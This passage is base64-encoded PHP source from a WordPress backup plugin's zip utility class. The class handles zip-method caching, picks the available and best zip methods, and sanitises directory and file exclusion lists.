mb3IgdGhpcyBpbnN0YW5jZSBvZiB6aXBidWRkeQoJCSAqCQoJCSAqCUBwYXJhbQkJYm9vbAkkZGlzYWJsZWQJT3B0aW9uYWw6IFRydWUgdG8gZGlzYWJsZTsgZmFsc2UgKGRlZmF1bHQpIHRvIG5vdCBkaXNhYmxlCgkJICoJQHJldHVybgkJb2JqZWN0CQkJCVRoaXMgb2JqZWN0CgkJICoKCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gc2V0X3ppcF9tZXRob2RfY2FjaGluZ19mb3JjZV9kaXNhYmxlZCggJGRpc2FibGVkID0gZmFsc2UgKSB7CgkJCgkJCSR0aGlzLT5femlwX21ldGhvZF9jYWNoaW5nX2ZvcmNlX2Rpc2FibGVkID0gJGRpc2FibGVkOwoJCQkKCQkJcmV0dXJuICR0aGlzOwoJCQoJCX0KCQkKCQkvKioKCQkgKglnZXRfemlwX21ldGhvZF9jYWNoaW5nX2ZvcmNlX2Rpc2FibGVkKCkKCQkgKgkKCQkgKglSZXR1cm5zIHRoZSBib29sZWFuIG9mIHdoZXRoZXIgemlwIG1ldGhkIGNhY2hpbmcgZm9yIHRoaXMgaW5zdGFuY2Ugb2YgemlwYnVkZHkgaXMgZGlzYWJsZWQgb3Igbm90CgkJICoJCgkJICoJQHJldHVybgkJYm9vbGVhbgkJVHJ1ZSBpZiBjYWNoaW5nIGZvcmNlIGRpc2FibGVkLCBGYWxzZSBpZiBub3QKCQkgKgoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBnZXRfemlwX21ldGhvZF9jYWNoaW5nX2ZvcmNlX2Rpc2FibGVkKCkgewoJCQoJCQlyZXR1cm4gJHRoaXMtPl96aXBfbWV0aG9kX2NhY2hpbmdfZm9yY2VfZGlzYWJsZWQ7CgkJCgkJfQoJCQkJCgkJLyoqCgkJICoJdXNlX2NhY2hlZF9tZXRob2RzKCkKCQkgKgkKCQkgKglSZXR1cm5zIHdoZXRoZXIgY29uZGl0aW9ucy9jb25maWd1cmF0aW9uIGluZGljYXRlIGNhY2hlZCBtZXRob2RzIHNob3VsZCBiZSB1c2VkCgkJICoJTm90ZTogVGVtcG9yYXJpbHkgYWRkIHRoZSBjb25kaXRpb24gZm9yIHdoZXRoZXIgZ2V0Xy9zZXRfdHJhbnNpZW50IGZ1bmN0aW9ucwoJCSAqCWV4aXN0IC0gaWYgbm90IChtZWFuaW5nIHdlIGFyZSBwcm9iYWJseSBydW5uaW5nIHVuZGVyIGltcG9ydGJ1ZGR5KSB0aGVuIHdlIGFsc28KCQkgKglza2lwIGNhY2hpbmcuIFRoaXMgYWRkcyBhIGxpdHRsZSB0aW1lIHdoZW4gaW5zdGFudGlhdGluZyBiZWNhdXNlIHdlIGhhdmUgdG8gdGVzdAoJCSAqCWV2ZXJ5IHRpbWUgYnV0IGl0J3MgYWNjZXB0YWJsZSBmb3Igbm93LiBJbiB0aGUgbG9uZ2VyIHRlcm0gd2Ugd2lsbCBoYXZlIGFuCgkJICoJYWx0ZXJuYXRpdmUgd2F5IHRvIGhhbmRsZSB0aGUgdHJhbnNpZW50IGRhdGEgb3V0c2lkZSBvZiBXb3JkUHJlc3MuCgkJICoJCgkJICoJQHJldHVybgkJYm9vbAl0cnVlIGlmIHVzZSBjYWNoZWQgbWV0aG9kcywgZmFsc2Ugb3RoZXJ3aXNlCgkJICoKCQkgKi8KCQlwcm90ZWN0ZWQgZnVuY3Rpb24gdXNlX2NhY2hlZF9tZXRob2RzKCkgewoJCQoJCQkvLyBCeSBkZWZhdWx0IHdlJ2xsIGJlIHVzaW5nIGNhY2hpbmcKCQkJJHJlc3VsdCA9IHRydWU7CgkJCQoJCQkvLyBIYXMgY2FjaGluZyBiZWVuIGV4cGxpY2l0bHkgZGlzYWJsZWQKCQkJJGNhY2hpbmdfZGlzYWJsZWQgPSAoIGlzc2V0KCBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ2Rpc2FibGVfemlwbWV0aG9kX2NhY2hpbmcnXSApICYmCgkJCQkJCQkJICAoIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snZGlzYWJsZV96aXBtZXRob2RfY2FjaGluZyddID09ICcxJykgKTsKCgkJCS8vIERvIHdlIGhhdmUgdGhlIG1lYW5zIHRvIGNhY2hlCgkJCSRjYWNoaW5nX3VuYXZhaWxhYmxlID0gKCAhKCBmdW5jdGlvbl9leGlzdHMoICdnZXRfdHJhbnNpZW50JyApICYmIGZ1bmN0aW9uX2V4aXN0cyggJ3NldF90cmFuc2llbnQnICkgKSApOwkKCgkJCS8vIEhhcyBjYWNoaW5nIGJlZW4gZm9yY2UgZGlzYWJsZWQgZm9yIHRoaXMgcGFydGljdWxhciBpbnN0YW5jZSBvZiB6aXBidWRkeQoJCQkkY2FjaGluZ19mb3JjZV9kaXNhYmxlZCA9ICR0aGlzLT5nZXRfemlwX21ldGhvZF9jYWNoaW5nX2ZvcmNlX2Rpc2FibGVkKCk7CgoJCQlpZiAoICRjYWNoaW5nX2Rpc2FibGVkIHx8ICRjYWNoaW5nX3VuYXZhaWxhYmxlIHx8ICRjYWNoaW5nX2ZvcmNlX2Rpc2FibGVkICkgewoJCQkKCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJCQoJCQl9CgkJCQoJCQlyZXR1cm4gJHJlc3VsdDsKCQkKCQl9CgkJCQkKCQkvKioKCQkgKglnZXRfemlwX21ldGhvZHMoKQoJCSAqCQoJCSAqCVJldHVybnMgdGhlIGFycmF5IG9mIHppcCBtZXRob2RzIHByZXZpb3VzbHkgZGVkdWNlZAoJCSAqCQoJCSAqCUByZXR1cm4JCWFycmF5CUZsYXQgYXJyYXkgb2YgemlwIG1ldGhvZHMgKGNvdWxkIGJlIGVtcHR5KQoJCSAqCgkJICovCgkJcHVibGljIGZ1bmN0aW9uIGdldF96aXBfbWV0aG9kcygpIHsKCQkJCgkJCXJldHVybiAkdGhpcy0+X3ppcF9tZXRob2RzOwoJCQoJCX0KCQkJCQoJCS8qKgoJCSAqCXNldF96aXBfbWV0aG9kcygpCgkJICoJCgkJICoJUmVzZXRzIHRoZSB6aXAgbWV0aG9kcyBiYXNlZCBvbiBuZXcgY3JpdGVyaWEgYW5kIHJldHVybnMgdGhlIGFycmF5IG9mIHppcCBtZXRob2RzCgkJICoJSWYgdGhlIGZpcnN0IGF0dGVtcHQgdG8gZGVkdWNlIG1ldGhvZHMgcmV0dXJucyBhbiBlbXB0eSByZXN1bHQgdGhlbiBmb3JjZSBkaXNhYmxlCgkJICoJdXNlIG9mIGNhY2hlZCB6aXAgbWV0aG9kcyBhbmQgdHJ5IGFnYWluLgoJCSAqCQoJCSAqCUBwYXJhbQkJYXJyYXkJJHJlcXVlc3RlZAlGbGF0IGFycmF5IG9mIHJlcXVlc3RlZCAocHJlZmVycmVkKSB6aXAgbWV0aG9kcwoJCSAqCUBwYXJhbQkJYm9vbAkkYmVzdF9vbmx5CU9wdGlvbmFsOiBUcnVlIGlmIG9ubHkgdGhlIGJlc3QgYXZhaWxhYmxlIG1ldGhvZCB3YW50ZWQKCQkgKglAcmV0dXJuCQlvYmplY3QJCQkJVGhpcyBvYmplY3QKCQkgKgoJCSAqLwoJCXB1YmxpYyBmdW5jdGlvbiBzZXRfemlwX21ldGhvZHMoIGFycmF5ICRyZXF1ZXN0ZWQsICRiZXN0X29ubHkgPSBmYWxzZSApIHsKCQkJCgkJCSRtZXRob2RzX2F2YWlsYWJsZSA9IGZhbHNlOwoKCQkJLy8gVXBkYXRlIHRoZSBtZW1vcnkgb2Ygd2hhdCB6aXAgbWV0aG9kcyB3ZXJlIHJlcXVlc3RlZCAtIG1ha2UgaXQgY2xlYW4KCQkJJHRoaXMtPl9yZXF1ZXN0ZWRfemlwX21ldGhvZHMgPSBhcnJheV9tYXAoICd0cmltJywgJHJlcXVlc3RlZCApOwoJCQkKCQkJLy8gV29yayBvdXQgdGhlIGxpc3Qgb2YgemlwIG1ldGhvZHMgZnJvbSB0aGUgcmVxdWVzdGVkIGFuZCBhdmFpbGFibGUKCQkJJG1ldGhvZHNfYXZhaWxhYmxlID0gJHRoaXMtPmRlZHVjZV96aXBfbWV0aG9kcyggJHRoaXMtPl96aXBfbWV0aG9kcywgJHRoaXMtPl96aXBfbWV0aG9kc19kZXRhaWxzLCAkdGhpcy0+X3JlcXVlc3RlZF96aXBfbWV0aG9kcywgJGJlc3Rfb25seSApOwoJCQkKCQkJLy8gSWYgd2UgZW5kIHVwIHdpdGggbm8gemlwIG1ldGhvZHMgY291bGQgYmUgdGhhdCBjYWNoaW5nIG5vdCBmdW5jdGlvbmFsIG9uIHRoaXMKCQkJLy8gc2VydmVyIHNvIHdlJ2xsIGZvcmNlIG92ZXJyaWRlIGFuZCB0cnkgYWdhaW4gZm9yIGx1Y2sKCQkJaWYgKCB0cnVlICE9PSAkbWV0aG9kc19hdmFpbGFibGUgKSB7CgkJCQoJCQkJLy8gTG9nIHRoYXQgd2UgYXJlIG92ZXJyaWRpbmcgY2FjaGluZwoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnWmlwIG1ldGhvZCBjYWNoaW5nIGZvcmNlIGRpc2FibGVkLicgKTsKCQkJCgkJCQkkdGhpcy0+c2V0X3ppcF9tZXRob2RfY2FjaGluZ19mb3JjZV9kaXNhYmxlZCggdHJ1ZSApOwoJCQkJJHRoaXMtPmRlZHVjZV96aXBfbWV0aG9kcyggJHRoaXMtPl96aXBfbWV0aG9kcywgJHRoaXMtPl96aXBfbWV0aG9kc19kZXRhaWxzLCAkdGhpcy0+X3JlcXVlc3RlZF96aXBfbWV0aG9kcywgJGJlc3Rfb25seSApOwoKCQkJfQoKCQkJcmV0dXJuICR0aGlzOwoJCQoJCX0KCQkJCQkJCQkKCQkvKioKCQkgKglyZWZyZXNoX3ppcF9tZXRob2RzKCkKCQkgKgoJCSAqCVJlZnJlc2ggdGhlIGluZm9ybWF0aW9uIG9uIHRoZSBhdmFpbGFibGUgemlwIG1ldGhvZHMKCQkgKglUT0RPOiBQZXJoYXBzIHRoZSB0cmFuc2llbnQgY291bGQgYmUgZGVsZXRlZCBoZXJlIHJhdGhlciB0aGFuIGJ5IHRoZSBjYWxsZXI/CgkJICoKCQkgKglAcGFyYW0JCWFycmF5CQkkemlwX21ldGhvZHMJT3B0aW9uYWw6IFRoZSBzZXQgb2YgemlwIG1ldGhvZHMgcmVxdWVzdGVkIHRvIHVzZQoJCSAqCUByZXR1cm4JCW9iamVjdAkJCQkJCVRoaXMgb2JqZWN0CgkJICovCgkJcHVibGljIGZ1bmN0aW9uIHJlZnJlc2hfemlwX21ldGhvZHMoICR6aXBfbWV0aG9kcyA9IGFycmF5KCkgKSB7CgkJCgkJCSR0aGlzLT5zZXRfemlwX21ldGhvZHMoICR6aXBfbWV0aG9kcyApOwoJCQkKCQkJcmV0dXJuICR0aGlzOwoJCQkKCQl9CgoJCS8qKgoJCSAqCXNhbml0aXplX2V4Y2x1ZGVzKCkKCQkgKgoJCSAqCVRha2UgYW4gZXhjbHVzaW9uIGxpc3Qgb2YgZGlyZWN0b3JpZXMgYW5kL29yIGZpbGVzIGFuZCBwcm9kdWNlIGEgc2FuaXRpemVkIGV4Y2x1c2lvbiBsaXN0CgkJICoJRGlyZWN0b3JpZXMgd2lsbCBiZSByZWNvZ25pemVkIGJ5IGhhdmluZyBhIHRyYWlsaW5nIGRpcmVjdG9yeSBzZXBhcmF0b3Igb3RoZXJ3aXNlIHdpbGwgYmUKCQkgKgl0cmVhdGVkIGFzIGEgZmlsZSAobm90ZSB0aGF0IGhlcmUgd2UgYXJlIHdvcmtpbmcgd2l0aCBwYXR0ZXJucyBhbmQgbm90IHRlc3RpbmcgdG8gc2VlCgkJICoJd2hldGhlciBzb21ldGhpbmcgX2lzXyBhIGRpcmVjdG9yeSBvciBub3QgYmVjYXVzZSB3ZSBkb24ndCBuZWNlc3NhcmlseSBoYXZlIHRoZSBmdWxsCgkJICoJZGlyZWN0b3J5IHBhdGgpLgoJCSAqCU5vdGU6IEFueXRoaW5nIHRoYXQgY29udGFpbnMgYSB3aWxkY2FyZCBjaGFyYWN0ZXIgKCogb3IgPykgaXMgaWdub3JlZCBhcyB0aGVzZSBhcmUgbm90CgkJICoJY3VycmVudGx5IHN1cHBvcnRlZCAoYW5kIG1heWJlIG5ldmVyIHdpbGwgYWNyb3NzIHRoZSBib2FyZCkuIEZvciBjb21tYW5kIHppcCB6aXAgd2UgY2FuCgkJICoJY29uc2lkZXIgYW4gb3B0aW9uIHRvIGhhdmUgdGhlc2UgYXMgc2VwYXJhdGUgZXhjbHVzaW9ucyAoYW5kIGN1cnJlbnRseSB3ZSBjYW4gYWNjb21vZGF0ZQoJCSAqCXRoZW4gdGhyb3VnaCBzcGVjaWZ5aW5nIGVudmlyb25tZW50IFpJUE9QVFMuCgkJICoKCQkgKglAcGFyYW0JYXJyYXkJCUxpc3Qgb2YgcHJpbWFyeSBleGNsdXNpb25zIC0gbWF5IGJlIGVtcHR5CgkJICoJQHBhcmFtCWFycmF5CQlMaXN0IG9mIHNlY29uZGFyeSBleGNsdXNpb25zIC0gbWF5IGJlIGVtcHR5CgkJICoJQHBhcmFtCXN0cmluZwkJVGhlIGJhc2UgZGlyZWN0b3J5IHRvIGJlIHVzZWQgaWYgbm9ybWFsaXppbmcKCQkgKgoJCSAqCUByZXR1cm4JbWl4ZWQJCWFycmF5IG9uIHN1Y2Nlc3MsIGZhbHNlIG90aGVyd2lzZQoJCSAqLwoJCXByb3RlY3RlZCBmdW5jdGlvbiBzYW5pdGl6ZV9leGNsdWRlcyggJHByaW1hcnksICRzZWNvbmRhcnksICRiYXNlID0gJycgKSB7CgoJCQkkc2FuaXRpemVkID0gYXJyYXkoKTsKCQkJCgkJCSRiYXNlZGlyID0gdHJpbSggJGJhc2UgKTsKCQkJJG5vcm1hbGl6ZSA9ICFlbXB0eSggJGJhc2VkaXIgKTsKCQkJCgkJCS8vIE5vcm1hbGl6ZSB0aGUgdHJhaWxpbmcgZGlyZWN0b3J5IHNlcGFyYXRvciBvbiB0aGUgcGF0aAoJCQkkYmFzZWRpciA9IHJ0cmltKCAkYmFzZWRpciwgc2VsZjo6RElSRUNUT1JZX1NFUEFSQVRPUlMgKSAuIHNlbGY6Ok5PUk1fRElSRUNUT1JZX1NFUEFSQVRPUjsKCQkJCgkJCS8vIE5vcm1hbGl6ZSBwbGF0Zm9ybSBzcGVjaWZpYyBkaXJlY3Rvcnkgc2VwYXJhdG9ycyBpbiBwYXRoCgkJCSRiYXNlZGlyID0gc3RyX3JlcGxhY2UoIERJUkVDVE9SWV9TRVBBUkFUT1IsIHNlbGY6Ok5PUk1fRElSRUNUT1JZX1NFUEFSQVRPUiwgJGJhc2VkaXIgKTsKCQkKCQkJLy8gJHByaW1hcnkgaXMgY29uc2lkZXJlZCB0byBiZSB1bmNsZWFuCgkJCWZvcmVhY2ggKCAkcHJpbWFyeSBhcyAkZXhjbHVkZSApIHsKCQkJCgkJCQkvLyBSZXNldCBmbGFnIGZvciB3aGV0aGVyIHRoaXMgZXhjbHVkZSBpcyBhIGRpcmVjdG9yeS1saWtlIGV4Y2x1ZGUKCQkJCSRpc19kaXJlY3RvcnlfcGF0aCA9IGZhbHNlOwoJCQkJCgkJCQkvLyBHZXQgcmlkIG9mIHN0YW5kYXJkIHByZWZpeC9zdWZmaXggZGV0cml0dXMKCQkJCSRleGNsdWRlID0gdHJpbSggJGV4Y2x1ZGUgKTsKCQkJCQoJCQkJLy8gUG9zc2libGUgdGhhdCB3ZSBjb3VsZCBlbmQgdXAgd2l0aCBhbiBlbXB0eSBlbnRyeQoJCQkJLy8gQWxzbyBpZ25vcmUgaWYgYW55IHdpbGRjYXJkIGNoYXJhY3RlcnMgcHJlc2VudAoJCQkJaWYgKCAhZW1wdHkoICRleGNsdWRlICkgJiYgKCAhcHJlZ19tYXRjaCggJ3xbPypdfCcsICRleGNsdWRlICkgKSApIHsKCQkJCQoJCQkJCS8vIFJlbWVtYmVyIGlmIGl0IGhhcyBhIGRpcmVjdG9yeSBzZXBhcmF0b3Igc3VmZml4CgkJCQkJaWYgKCBwcmVnX21hdGNoKCAnfFsnIC4gYWRkc2xhc2hlcyggc2VsZjo6RElSRUNUT1JZX1NFUEFSQVRPUlMgKSAuICddJHwnLCAkZXhjbHVkZSApICkgewoJCQkJCQoJCQkJCQkkaXNfZGlyZWN0b3J5X3BhdGggPSB0cnVlOwoJCQkJCQoJCQkJCX0KCQkJCQkKCQkJCQkvLyBSZW1vdmUgd2hhdCBjb3VsZCBiZSBtdWx0aXBsZSBwcmVmaXggb3Igc3VmZml4IGRpcmVjdG9yeSBzZXBhcmF0b3JzCgkJCQkJJGV4Y2x1ZGUgPSB0cmltKCAkZXhjbHVkZSwgc2VsZjo6RElSRUNUT1JZX1NFUEFSQVRPUlMgKTsKCQkJCQkKCQkJCQkvLyBNYWtlIHN1cmUgcGxhdGZvcm0gc3BlY2lmaWMgZGlyZWN0b3J5IHNlcGFyYXRvcnMgaW4gcGF0aCBiZWNvbWUgbm9ybWFsaXplZAoJCQkJCSRleGNsdWRlID0gc3RyX3JlcGxhY2UoIERJUkVDVE9SWV9TRVBBUkFUT1IsIHNlbGY6Ok5PUk1fRElSRUNUT1JZX1NFUEFSQVRPUiwgJGV4Y2x1ZGUgKTsKCQkJCQkKCQkJCQkvLyBBbmQgYWRkIGJhY2sgYSBzaW5nbGUgaW5zdGFuY2UgcHJlZml4CgkJCQkJJGV4Y2x1ZGUgPSBzZWxmOjpOT1JNX0RJUkVDVE9SWV9TRVBBUkFUT1IgLiAkZXhjbHVkZTsKCQkJCQkKCQkJCQkvLyBBbmQgb3B0aW9uYWxseSBhIHNpbmdsZSBpbnN0YW5jZSBzdWZmaXgKCQkJCQlpZiAoICRpc19kaXJlY3RvcnlfcGF0aCApIHsKCQkJCQkKCQkJCQkJJGV4Y2x1ZGUgLj0gc2VsZjo6Tk9STV9ESVJFQ1RPUllfU0VQQVJBVE9SOwoJCQkJCQkKCQkJCQl9CgkJCQkJCQkJCQkKCQkJCQkkc2FuaXRpemVkW10gPSAkZXhjbHVkZTsKCQkJCQkKCQkJCX0KCQkJCQoJCQl9CgkJCQoJCQkvLyAkc2Vjb25kYXJ5IGlzIGNvbnNpZGVyZWQgdG8gYmUgY2xlYW4KCQkJaWYgKCAhZW1wdHkoICRzZWNvbmRhcnkgKSApIHsKCQkJCgkJCQkkc2FuaXRpemVkID0gYXJyYXlfbWVyZ2UoICRzYW5pdGl6ZWQsICRzZWNvbmRhcnkgKTsgCgkJCQoJCQl9CgkJCQoJCQkvLyBHZXQgdW5pcXVlIGVudHJpZXMgYW5kIHJlbnVtYmVyIG51bWVyaWMga2V5cwoJCQkkc2FuaXRpemVkID0gYXJyYXlfbWVyZ2UoIGFycmF5X3VuaXF1ZSggJHNhbml0aXplZCApICk7CgkJCQoJCQlpZiAoIHRydWUgPT0gJG5vcm1hbGl6ZSApIHsKCQkJCgkJCQkvLyBNYWtlIHN1cmUgdGhlIG5vcm1hbGl6ZSBiYXNlIGhhcyBhIHRyYWlsaW5nIGRpcmVjdG9yeSBzZXBhcmF0b3IKCQkJCSRiYXNlZGlyID0gKCBydHJpbSggJGJhc2VkaXIsIHNlbGY6Ok5PUk1fRElSRUNUT1JZX1NFUEFSQVRPUiApICkgLiBzZWxmOjpOT1JNX0RJUkVDVE9SWV9TRVBBUkFUT1I7CgkJCQoJCQkJZm9yZWFjaCAoICRzYW5pdGl6ZWQgYXMgJiRleGNsdXNpb24gKSB7CgkJCQkKCQkJCQkvLyBNdXN0IHJlbW92ZSBhbnkgbGVhZGluZyBESVJFQ1RPUllfU0VQQVJBVE9SIGJlY2F1c2UgJGJhc2VkaXIgYWx3YXlzIGhhcyB0cmFpbGluZwoJCQkJCSRleGNsdXNpb24gPSBsdHJpbSggJGV4Y2x1c2lvbiwgc2VsZjo6Tk9STV9ESVJFQ1RPUllfU0VQQVJBVE9SICk7CgkJCQkJJGV4Y2x1c2lvbiA9ICggJGJhc2VkaXIgLiAkZXhjbHVzaW9uICk7CgkJCQkJCgkJCQl9CgkJCQkJCQkJCgkJCX0KCQkJCQkKCQkJcmV0dXJuICRzYW5pdGl6ZWQ7CgkJCgkJfQoKCQkvKioKCQkgKglnZXRfYXZhaWxhYmxlX3ppcF9tZXRob2RzKCkKCQkgKgkKCQkgKglSZXR1cm5zIHRoZSBhcnJheSBvZiB6aXAgbWV0aG9kcyB0aGF0IGFyZSBhdmFpbGFibGUgZm9yIHRoZSBtb2RlIG9mIHRoaXMgb2JqZWN0CgkJICoJTGlicmFyaWVzIG11c3QgaGF2ZSBiZWVuIGxvYWRlZCBhbHJlYWR5CgkJICoJCgkJICoJQHBhcmFtCQlhcnJheQlUaGUgc3VwcG9ydGVkIHppcCBtZXRob2RzCgkJICoJQHBhcmFtCQlhcnJheQlUaGUgYXJyYXkgd2hpY2ggd2lsbCBob2xkIHRoZSBhdmFpbGFibGUgbWV0aG9kcwoJCSAqCUBwYXJhbQkJYXJyYXkJVGhlIGFycmF5IHRoYXQgd2lsbCBob2xkIHRoZSBhdmFpbGFibGUgbWV0aG9kcyBhdHRyaWJ1dGVzIChtZXRob2QgdGFnIGlzIGtleSkKCQkgKglAcmV0dXJuCQlib29sCVRydWUgaWYgbWV0aG9kcyBhdmFpbGFibGUsIEZhbHNlIG90aGVyd2lzZQoJCSAqCgkJICovCgkJcHJvdGVjdGVkIGZ1bmN0aW9uIGdldF9hdmFpbGFibGVfemlwX21ldGhvZHMoIGFycmF5ICRzdXBwb3J0ZWRfemlwX21ldGhvZHMsICYkYXZhaWxhYmxlX21ldGhvZHMsICYkYXZhaWxhYmxlX21ldGhvZHNfZGV0YWlscyApIHsKCQkKCQkJLy8gTWFrZSBzdXJlIHRoZXNlIGFyZSBjbGVhcmVkIGFzIHRoZSBjYWxsZXIgbWlnaHQgbm90IGhhdmUgZG9uZSBzbwoJCQkkYXZhaWxhYmxlX21ldGhvZHMgPSBhcnJheSgpOwoJCQkkYXZhaWxhYmxlX21ldGhvZHNfZGV0YWlscyA9IGFycmF5KCk7CgkJCQoJCQkvLyBUcnkgZWFjaCBzdXBwb3J0ZWQgemlwIG1ldGhvZCB0byBzZWUgd2hhdCBpdCBjYW4gZG8gb24gdGhpcyBzeXN0ZW0JCQoJCQlmb3JlYWNoICggJHN1cHBvcnRlZF96aXBfbWV0aG9kcyBhcyAkbWV0aG9kX3RhZyApIHsKCgkJCQkkY2xhc3NfbmFtZSA9ICdwbHVnaW5idWRkeV96YnppcCcgLiAkbWV0aG9kX3RhZzsKCQoJCQkJJHppcHBlciA9IG5ldyAkY2xhc3NfbmFtZSggJHRoaXMgKTsKCQkJCQoJCQkJaWYgKCB0cnVlID09PSAkemlwcGVyLT5pc19hdmFpbGFibGUoICR0aGlzLT5fdGVtcGRpciApICkgewoJCQkJCgkJCQkJJGF2YWlsYWJsZV9tZXRob2RzW10gPSAkbWV0aG9kX3RhZzsKCQkJCQkkYXZhaWxhYmxlX21ldGhvZHNfZGV0YWlsc1sgJG1ldGhvZF90YWcgXSA9ICR6aXBwZXItPmdldF9tZXRob2RfZGV0YWlscygpOwoJCQkJCQoJCQkJfQoJCQkJCgkJCQl1bnNldCggJHppcHBlciApOwoJCQl9CgkJCQkJCQoJCQlyZXR1cm4gKCAhZW1wdHkoICRhdmFpbGFibGVfbWV0aG9kcyApICk7CgoJCX0KCQkJCQkJCgkJLyoqCgkJICoJZ2V0X2NvbXBhdGliaWxpdHlfemlwX21ldGhvZHMoKQoJCSAqCQoJCSAqCVJldHVybnMgdGhlIGFycmF5IG9mIHppcCBtZXRob2RzIHRoYXQgYXJlIHJlZ2FyZGVkIGFzICJjb21wYXRpYmlsaXR5IiBtZXRob2RzCgkJICoJTGlicmFyaWVzIG11c3QgaGF2ZSBiZWVuIGxvYWRlZCBhbHJlYWR5CgkJICoJCgkJICoJQHJldHVybgkJYXJyYXkJRmxhdCBhcnJheSBvZiB6aXAgbWV0aG9kcyAoY291bGQgYmUgZW1wdHkpCgkJICoKCQkgKi8KCQlwcm90ZWN0ZWQgZnVuY3Rpb24gZ2V0X2NvbXBhdGliaWxpdHlfemlwX21ldGhvZHMoKSB7CgkJCgkJCSRjb21wYXRpYmlsaXR5X21ldGhvZHMgPSBhcnJheSgpOwoJCQkKCQkJZm9yZWFjaCAoICR0aGlzLT5femlwX21ldGhvZHMgYXMgJG1ldGhvZF90YWcgKSB7CgoJCQkJJGNsYXNzX25hbWUgPSAncGx1Z2luYnVkZHlfemJ6aXAnIC4gJG1ldGhvZF90YWc7CgkKCQkJCSR6aXBwZXIgPSBuZXcgJGNsYXNzX25hbWUoICR0aGlzICk7CgkJCQkKCQkJCWlmICggJHppcHBlci0+Z2V0X2lzX2NvbXBhdGliaWxpdHlfbWV0aG9kKCkgPT09IHRydWUgKSB7CgkJCQkKCQkJCQkkY29tcGF0aWJpbGl0eV9tZXRob2RzW10gPSAkbWV0aG9kX3RhZzsKCQkJCQkKCQkJCX0KCQkJCQoJCQkJdW5zZXQoICR6aXBwZXIgKTsKCQkJfQoJCQkKCQkJcmV0dXJuICRjb21wYXRpYmlsaXR5X21ldGhvZHM7CgkJCQoJCX0KCQkKCQkvKioKCQkgKglnZXRfYmVzdF96aXBfbWV0aG9kcygpCgkJICoJCgkJICoJUmV0dXJucyB0aGUgYXJyYXkgb2YgYmVzdCB6aXAgbWV0aG9kKHMpCgkJICoJRm9yIG5vdyB3ZSBhc3N1bWUgb25seSBvbmUgImJlc3QiIG1ldGhvZCBhcyBiZWluZyB0aGUgZmlyc3QgbWV0aG9kIGluIHRoZSBsaXN0CgkJICoJdGhhdCBoYXMgdGhlIHJlcXVlc3RlZCBhdHRyaWJ1dGUocykuCgkJICoJTGlicmFyaWVzIG11c3QgaGF2ZSBiZWVuIGxvYWRlZCBhbHJlYWR5CgkJICoJCgkJICoJQHBhcmFtCQlhcnJheQkkYXR0cmlidXRlcwlBcnJheSBvZiBhdHRyaWJ1dGVzIHRvIGNoZWNrIG1ldGhvZCBzdXBwb3J0cwoJCSAqCUByZXR1cm4JCWFycmF5CQkJCUZsYXQgYXJyYXkgb2YgemlwIG1ldGhvZHMgKGNvdWxkIGJlIGVtcHR5KQoJCSAqCgkJICovCgkJcHJvdGVjdGVkIGZ1bmN0aW9uIGdldF9iZXN0X3ppcF9tZXRob2RzKCAkYXR0cmlidXRlcyA9IGFycmF5KCkgKSB7CgkJCgkJCSRiZXN0X21ldGhvZHMgPSBhcnJheSgpOwoJCQkKCQkJaWYgKCAhZW1wdHkoICR0aGlzLT5femlwX21ldGhvZHMgKSApIHsKCQkJCgkJCQlpZiAoIGVtcHR5KCAkYXR0cmlidXRlcyApICkgewoJCQkJCgkJCQkJLy8gTm8gYXR0cmlidXRlcyB0byB0ZXN0IGZvciBzbyBqdXN0IHRha2UgdGhlIGZpcnN0IGluIHRoZSBsaXN0CgkJCQkJJGJlc3RfbWV0aG9kc1tdID0gJHRoaXMtPl96aXBfbWV0aG9kc1sgMCBdOwoJCQkJCQoJCQkJfSBlbHNlIHsKCQkJCgkJCQkJLy8gSGF2ZSBzb21lIGF0dHJpYnV0ZXMgdG8gdGVzdCBzbyB3b3JrIGFsb25nIHRoZSBsaXN0IHVudGlsIHdlIGZpbmQgYSBtYXRjaCBvciBlbmQgb2YgbGlzdAoJCQkJCWZvcmVhY2ggKCAkdGhpcy0+X3ppcF9tZXRob2RzIGFzICRtZXRob2RfdGFnICkgewoJCQkJCgkJCQkJCS8vIFN0YXJ0IGFmcmVzaCBlYWNoIHRpbWUgLSBhc3N1bWUgc3VjY2VzcwoJCQkJCQkkbWF0Y2ggPSB0cnVlOwoJCQkJCQlmb3JlYWNoICggJGF0dHJpYnV0ZXMgYXMgJGF0dHJpYnV0ZSApIHsKCQkJCQkJCgkJCQkJCQkvLyBDaGVjayBlYWNoIGF0dHJpYnV0ZSBpbiB0dXJuIChwcmVjb25kaXRpb24gdGhhdCBhbGwgYXR0cmlidXRlcyBzZXQgdHJ1ZS9mYWxzZSkKCQkJCQkJCSRtYXRjaCA9ICggJG1hdGNoICYmICggJHRoaXMtPl96aXBfbWV0aG9kc19kZXRhaWxzWyAkbWV0aG9kX3RhZyBdWyAnYXR0cicgXVsgJGF0dHJpYnV0ZSBdID09PSB0cnVlICkgKTsKCQkJCQkJCgkJCQkJCX0KCQkJCQkJCgkJCQkJCWlmICggdHJ1ZSA9PT0gJG1hdGNoICkgewoJCQkJCQkKCQkJCQkJCS8vIEZvdW5kIG91ciBtYXRjaGluZyBtZXRob2Qgc28gYnJlYWsgb3V0IG9mIHRoZSB0ZXN0IGxvb3AgdG8gcmV0dXJuCgkJCQkJCQkkYmVzdF9tZXRob2RzW10gPSAkbWV0aG9kX3RhZzsKCQkJCQkJCWJyZWFrOwoJCQkJCQkKCQkJCQkJfQkJCQkJCQoKCQkJCQl9CgkJCQkKCQkJCX0KCQkJCgkJCQoJCQl9CgkJCQkJCQoJCQlyZXR1cm4gJGJlc3RfbWV0aG9kczsKCQkJCgkJfQoJCQoJCS8qKgoJCSAqCWNyZWF0ZV9lbXB0eV96aXAoKQoJCSAqCQoJCSAqCUEgZnVuY3Rpb24gdGhhdCBjcmVhdGVzIGFuIGVtcHR5IGFyY2hpdmUgZmlsZSB3aXRoIG9wdGlvbmFsIGNvbW1lbnQKCQkgKgkKCQkgKglDcmVhdGUgYW4gZW1wdHkgemlwIGFyY2hpdmUgKGp1c3QgdGhlIGVuZCBvZiBjZW50cmFsIGRpcikgd2l0aCBhbiBvcHRpb25hbAoJCSAqCWNvbW1lbnQgYXMgd2VsbC4gVGhp